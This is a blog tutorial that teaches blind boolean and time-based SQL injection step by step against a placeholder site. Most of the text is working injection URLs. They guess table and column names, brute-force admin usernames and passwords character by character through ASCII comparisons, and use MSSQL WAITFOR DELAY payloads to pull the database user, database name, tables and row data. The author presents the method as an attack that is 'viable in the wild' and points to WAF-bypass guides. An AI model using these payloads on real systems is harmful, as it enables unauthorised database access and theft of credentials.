In today’s tutorial I will be doing my best to show you some examples of how to perform BLIND SQL Injections to extract information from a vulnerable backend database. This method is a little harder than the UNION method but is still very viable in the wild, if you are patient enough to stick with it to the end. I will follow similar form as previous tutorials and run through an example from start to finish with some helpful tips and additional examples at the end as well as a mini-tutorial on TIME-BASED Injections. I hope you find it informative and helpful, here goes…
Target Site: http://www.site.com/index.phpo?id=725
I will begin as previously instructed using the UNION method to show that this method doesn’t always work (despite being the easiest). This will keep you from wasting your time as this is not the method to be starting with, due to time involved. OK so we test our site link to see if the page is vulnerable by adding the single quote to the end of our page link, and check the response for errors.
SAMPLE IMAGE - BEFORE ‘:
SAMPLE IMAGE - AFTER ‘:
We can see the page appears to be vulnerable. Let’s check for the column count as well as for the vulnerable column(s). We use ORDER BY as normal, but it doesn’t seem to have any affects despite how high I go (1-1500=no changes)….but wait I remember a note from previous tutorial about STRING based injections, let’s try that:
SAMPLE IMAGE - INTEGER APPROACH WITH NO LUCK:
SAMPLE IMAGE - STRING WITH DIFFERENT RESULTS:
What do you know…it worked! OK so we were able to find out that there are only 2 columns in our example site. Let’s now see if we can find out which one is vulnerable trying to use UNION SELECT. Hmm we seem to be getting an error...
Let’s try UNION ALL SELECT to see if this helps resolve the differences between column value types…
Still no luck…giving up? NO WAY, now let’s try to see if we can use some BLIND Injection techniques to get any results. We will begin by using AND/OR statement to confirm the site is vulnerable and then to work on extracting information and finally database contents. We can confirm the vulnerability of a page link similar to how we used the single quotation mark in previous examples, only for BLIND injections we will be using TRUE/FALSE statements to gain result, which at times may be based around the feedback received from the server as a result. The basic check works like this:
We are hoping to find a difference in how the two pages are displayed as a result of our trailing statement, just like we did with the single quotes on original tutorial. If we analyze them real quick we can see that 1 is always equal to 1 so it must be TRUE, whereas 1 does not equal 2 and thus should return FALSE. The differences when page refreshes may be highlighted by errors as in previous examples or it may be less subtle and may only be pictures failing to properly display, or pieces of the page missing text. The key is to simply look for differences, as these differences indicate we may have found an vulnerability. OK, moving forward…
We now have the column count, but we will need to check the version real quick to make sure we use the proper methods to extract information (remember the differences I highlighted in the original SQLi tutorial). We can check the version by running two request statements and comparing the results, whichever requests returns TRUE lets us know the version number. The two requests looks like this:
SAMPLE IMAGE - v4 Check:
SAMPLE IMAGE - V5 Check:
Alright, in this example we can see it is v5. OK, now we have the basics out of the way it is time to start enumerating some table names from the current database. We will use TRUE/FALSE request statements and then analyze the errors or response generated to determine if we are on the right track, as we will need to start by guessing the table names. This may take some guessing and sometime which is why most people don’t like this method, but it can pay off when nothing else will work so just have some patience. It will work like this:
http://www.site.com/index.php?id=725’ and (SELECT 1 from passwords limit 0,1)=1--+- (Errors)’
http://www.site.com/index.php?id=725’ and (SELECT 1 from users limit 0,1)=1--+- (Errors)’
http://www.site.com/index.php?id=725’ and (SELECT 1 from members limit 0,1)=1--+- (Errors)’
http://www.site.com/index.php?id=725’ and (SELECT 1 from admin limit 0,1)=1--+- (No Errors!)’
If we get the page to refresh without any errors it is an indication that the table actually exists, whereas if the table does not exist the server will generate an error of some kind. We will use this info to map things out and simply keep replacing the table referenced after the FROM part of the statement until you are satisfied you have found all of the ones you’re interested in. In our example above we have found the table “admin” as the page refreshed 100% indicating the table name is present whereas errors were received on all of the others.
NOTE: In the errors sometimes it will say “Table 'X.<guessed-table-name>' doesn't exist”. This error indicates the current database name where “X” is (in case you couldn’t find it elsewhere).
TIP: When guessing table names, start with the obvious ones and then work to more general ones. Also if you know you only care about specific ones then only work on those ones (admin, users, members, admincp, etc). Also be aware that not all admins are 100% dummies so they may have done something super tricky like rename them. I find a lot like to use site-name as prefix, or site-prefix-db and then the table or database names (i.e. Microsoft.com might use this type of naming convention m_admin, m_users, m_members, or maybe mdb_admin, mdb_users, etc). If you have time make sure you try all options as once you find one the rest typically follow the same naming convention.
SAMPLE IMAGE – ERROR:
SAMPLE IMAGE – TABLE PRESENT. NO ERROR:
We now have a valid table name, so it is time to change our syntax slightly so we can try to guess column names from the table that we already know is there. Again, we will be using the TRUE/FALSE results to determine what columns are present in the table. It will work like this:
http://www.site.com/index.php?id=725’ and (SELECT substring(concat(1,<insert-column-guess-here>),1,1) from <table-name> limit 0,1)=1--+-’
We are now using SUBSTRING to query within query and check for columns FROM our found table (admin). Again, we will be guessing for the most part, but you can typically go for the main columns depending on what you are going for (i.e. id, userid, adminid, login, pass, password, email, access_level, etc). The process works the same as tables and you simply repeat until you think you got them all or at least the ones you need, to continue our example…
http://www/site.com/index.php?id=725’ and (SELECT substring(concat(1,userid),1,1) from admin limit 0,1)=1--+- (No Errors!!)’
http://www/site.com/index.php?id=725’ and (SELECT substring(concat(1,login),1,1) from admin limit 0,1)=1--+- (Errors)’
http://www/site.com/index.php?id=725’ and (SELECT substring(concat(1,username),1,1) from admin limit 0,1)=1--+- (No Errors!!)’
http://www/site.com/index.php?id=725’ and (SELECT substring(concat(1,password),1,1) from admin limit 0,1)=1--+- (No Errors!!)’
It looks like we have found the columns “userid”, “username” and “password” from our “admin” table.
SAMPLE IMAGE – Errors:
SAMPLE IMAGE – No Errors as Column is Present in Table:
Now that we have found the table name and associated column names we can actually extract some data. In order to extract we will change up our syntax slightly so that it takes advantage of the ASCII CHAR conversion. We will again analyze the results of based on TRUE/FALSE responses. This part is very time consuming as we have to get each letter at a time (in CHAR value) and then convert it over to get the standard plain text that most people can identify with. The process should go something like this:
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),1,1))>65
o TRUE – the first char of password for admin with userid1 is great than 65 so we need to go higher with our next request until we hit error
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),1,1))>122
o FALSE – Error, indicating it is not a char greater than 122 which is good as that is what we would expect, so now we need to meet in the middle
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),1,1))>100
o TRUE – still need to continue moving higher
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),1,1))>115
o FALSE – getting warmer, but still need to reduce a little
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),1,1))>112
o TRUE – still need to continue moving higher
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),1,1))>113
o FALSE – indicating we have gone too far – WTF?
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),1,1))>111
o TRUE – Indicating we need to move up
As you can see this can take some time. In the example above we would use some reasoning and determine that the char value is greater than 111, but less than 113. When we ran the test against 112 it indicated as true thus meaning it is greater than OR equal to 112. If we convert this we get the letter “p”. OK so we have the first letter, now let’s adjust our LIMIT at the end to move on to the second character position. We will also do our best to use our brains to speed things up and start guessing the next logical character to follow a “p” (like maybe an “a” = 97). It now looks like this:
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),2,1))>97
o TRUE – Indicating we need to move up
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),2,1))>98
o FALSE – indicating we have gone too far and that we were right with the guess of an “a” which is the char value for 97
OK so we have no found the first two letters of the password which are “pa”, let’s keep guessing….
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),3,1))>115
o TRUE – Indicating we need to move up
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),3,1))>116
o FALSE – indicating we have gone too far and that we were right on track with the guessing of an “s” which is the char value for 115…wonder what’s next?
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),4,1))>116
o FALSE – indicating we have gone to far and found us another “s” or 115
· http://www/site.com/index.php?id=725’ and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=1),4,1))>115
o TRUE – indicating we have found another “s”
When we put it together we have found char values of 112, 97, 115, & 115 which when converted equates to “pass”. The admin with userid=1 has a password of “pass”. In some cases the char values may be for an MD5 hash so it might not come across until you have the entire thing. You can keep adjusting the LIMIT value until you no longer get any return values (i.e. ERRORS) indicating there are no more character positions to enumerate.
NOTE: To help speed things up we can use the start and end point for the ASCII chart which starts “A” at 65 and has “z” at 122. You can then use the results to narrow down your search to more appropriate section or letter. I tend to focus on the lower case options first (97-122) to speed things up, but the full chart can come into play in the wild. I will be working to add a page or post with a full ASCII conversion chart but is a pain to put it into HTML table format so it will format correctly on this blog (I already tried several times to take an easier route, but will have this up in a few weeks’ time so please check back.
This brings my tutorial on BLIND SQL Injection to an end as we have now covered things from find to extraction. I hope you have been able to follow along and find the information helpful. Please remember to check my other pages for more tutorials on other methods or tools. I have also included some extras below for additional reference. Until next time…Enjoy!
Laters – H.R.
EXTRA REFERENCE MATERIAL:
USING MID() TO CHECK VERSION:
· http://www.site.com/index.php?id=725 AND 1=1--
o No Errors
· http://www.site.com/index.php?id=725 AND 1=2—
o Errors!
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 1, 1)) > 51
o TRUE – go higher
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 1, 1)) > 53
o TRUE = go higher
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 1, 1)) > 52
o TRUE – go higher
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 1, 1)) > 54
o FALSE = CHAR=53
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 2, 1)) > 43
o TRUE – does not use “+” for separation of version digits, go higher
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 2, 1)) > 45
o TRUE – does not use “-” for separation of version digits, go higher
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 2, 1)) > 46
o TRUE – uses “.” for separation of version digits as if we tested 47 next it would be FALSE
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 3, 1)) > 51
o FALSE = must be lower
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 3, 1)) > 49
o FALSE = must be lower
· http://www.site.com/index.php?id=725 AND ORD(MID((VERSION()), 3, 1)) > 48
o TRUE – indicating CHAR=48
· MID() – can be used to extract characters from a text field
RESULTS = 53, 46, 48, which converts to “5.0”. You would simply keep increasing the LIMIT to move forward character positions until you hit the end and error out. You usually don’t have to check the “-“ or “+” signs until further down the version description (i.e. 5.0.1+log or 5.3.7-community) but thought I would show you how to test for them in the examples.
SUPER FAST MINI-TUT ON TIME-BASED INJECTIONS:
The syntax will change, but the overall method is similar to the previous examples however we will be using time to determine TRUE/FALSE results (if vulnerable the time delays will be noticed before the page refreshes). You may need to adjust the time settings to fit your need but these will get you started.
TIME-BASED Injection - Vulnerability Testing:
o INTEGER: http://[site]/page.asp?id=1; WAITFOR DELAY '00:00:10'-- (+10 seconds)
o STRING: http://[site]/page.asp?id=x'; WAITFOR DELAY '00:00:10'--+- (+10 seconds)
TIME-BASED Extraction of CURRENT DATABASE USER
Determine Length of USER:
· http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
· http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
· http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--
· http://[site]/page.asp?id=1; IF (LEN(USER)=4) WAITFOR DELAY '00:00:10'--
· http://[site]/page.asp?id=1; IF (LEN(USER)=5) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Result = 5 characters in length
Determine length, and then try to find out CHAR value one character position at a time, like this:
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>96) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>100) WAITFOR DELAY '00:00:10'--
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>98) WAITFOR DELAY '00:00:10'--
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1))=97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Result = the first character CHAR value is 97 which is an “a”
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>99) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=100) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Result = the second character CHAR value is 100 which is a “d”
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>108) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'—
o Result = third character CHAR value is 109 which is the letter “m”
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),4,1)))>104) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),4,1)))=105) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Result = the fourth character CHAR value is 105 which is an “i”
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),5,1)))>109) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),5,1)))=110) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o the fifth character position has CHAR value of 110 which is the letter “n”
Database User = 97,100,109,105,110 = admin
TIME-BASED Extraction of CURRENT DATABASE NAME
This follows the same method as used above to grab the USER, but we will change the reference to DB_NAME(). Again, we will need to check the length first and then to use the LIMIT to move from one character position to the next until we have captured all values and then convert. It looks like this:
· http://[site]/page.asp?id=1; IF (LEN(DB_NAME())=6) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=116) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),2,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),3,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),4,1)))=116) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),5,1)))=68) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((DB_NAME()),6,1)))=66) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Database Name = 116,101,115,116,68,66 = testDB
TIME-BASED Extraction of 1st TABLE IN DB:
This will get the first table name of the current database.
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype='U')=7) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Result = DBNAME of 7 characters in length
§ Remember you can use greater than or less than symbols to help narrow things down when starting from the unknown
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=77) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),2,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),3,1)))=109) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),4,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),5,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),5,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),5,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Table Name =77,101,109,98,101,114,115 = Members
TIME-BASED Extraction of 2nd TABLE IN DB:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>’Members’)=6) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'Members'),1,1)))=106) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'Members'),2,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'Members'),3,1)))=105) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'Members'),4,1)))=99) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'Members'),5,1)))=121) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'Members'),6,1)))=49) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Table Name = 106,117,105,99,121,49 = juicy1
NOTE: Increment and replace the referenced table in the first request to get additional table names, meaning the next request would look something like this:
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name>'juicy1'),1,1)))=65) WAITFOR DELAY '00:00:10'--
TIME-BASED Extraction of 1st TABLE COLUMNS:
Now that you have figured out the database name and first table name let’s enumerate some columns from the table(s) we found. It will look like this for the first column from the first table:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members')=4) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Remember to help you out and speed things up you can check the length before you start testing away
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members'),1,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members'),1,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members'),1,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members'),1,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Column Name = 117,115,101,114 = user
TIME-BASED Extraction of 2nd COLUMN NAME:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'user')=4) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Length check
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'user'),1,1)))=80) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'user'),2,1)))=65) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'user'),3,1)))=83) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'user'),4,1)))=83) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Column Name = 80,65,83,83 = PASS
TIME-BASED Extraction of 3rd COLUMN NAME:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>,'PASS')=6) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Length Check
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'PASS'),1,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'PASS'),2,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'PASS'),3,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'PASS'),4,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'PASS'),5,1)))=73) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from testDB.information_schema.columns where table_name='Members' and column_name>'PASS'),6,1)))=68) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Column Name = 117,115,101,114,73,68 = userID
TIME-BASED Extraction of Data:
We will be extracting information now that we have gotten the table (Members) and column names (user, PASS, & userID), from the current database (testDB). We will unfortunately need to extract the results one field at a time. In order to get the first field (user) from the Members table starting on row 1 we would do this:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 user from Members)=5) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Length Check
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 user from Members),1,1))=97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 user from Members),2,1))=100) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 user from Members),3,1))=109) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 user from Members),4,1))=105) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 user from Members),5,1))=110) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Results for first user entry = 97,100,109,105,110 = admin
Now to get the next column:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 PASS from Members)=4) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Length Check
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 PASS from Members),1,1))=112) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 PASS from Members),2,1))=97) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 PASS from Members),3,1))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 PASS from Members),3,1))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Results = 112, 97, 115, & 115 = pass
Now to get the userID:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 userID from Members)=1) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Length Check
· http://[site]/page.asp?id=1; IF (ASCII(substring((SELECT TOP 1 userID from Members),1,1))=49) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Results = 49 = 1
Overall Results FOR ROW 1:
· admin::pass::1
EXTRACTION OF 2nd ROW DATA:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 user from Members where user NOT in ('admin') order by Members desc)=2) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Length Check
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 user from Members where user NOT in ('admin') order by Members desc),1,1)))=72) WAITFOR DELAY '00:00:10'-- (+10 seconds)
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 user from Members where user NOT in ('admin') order by Members desc),2,1)))=82) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Results = 72 & 82 = HR
Repeat as needed using same method as above for ROW 1 to get additional columns for ROW 2. Then we will increment again and use the last found results in our NOT statement to keep things moving along. If we were to keep going it would look like this:
· http://[site]/page.asp?id=1; IF (LEN(SELECT TOP 1 user from Members where user NOT in ('HR') order by Members desc)=<length-to-check>) WAITFOR DELAY '00:00:10'-- (+10 seconds)
o Length Check
· http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 user from Members where user NOT in ('HR') order by Members desc),1,1)))<insert<>=here><insert-char-value-here>) WAITFOR DELAY '00:00:10'-- (+10 seconds)
OTHER REFERENCES:
Basic SQL Injection for starters can be found here: SQLi 101
Advanced Techniques on WAF Bypassing can be found here: SQLi & WAF BYPASSING
Xpath Injection using extractvalue(): XPATH Injection
SQLi using Load File & Into Outfile: LOAD FILE & INTO OUTFILE
Blind & Time-Based SQL Injections: BLIND & TIME-BASED SQLi
Double Query SQL Injection: DOUBLE QUERY SQLi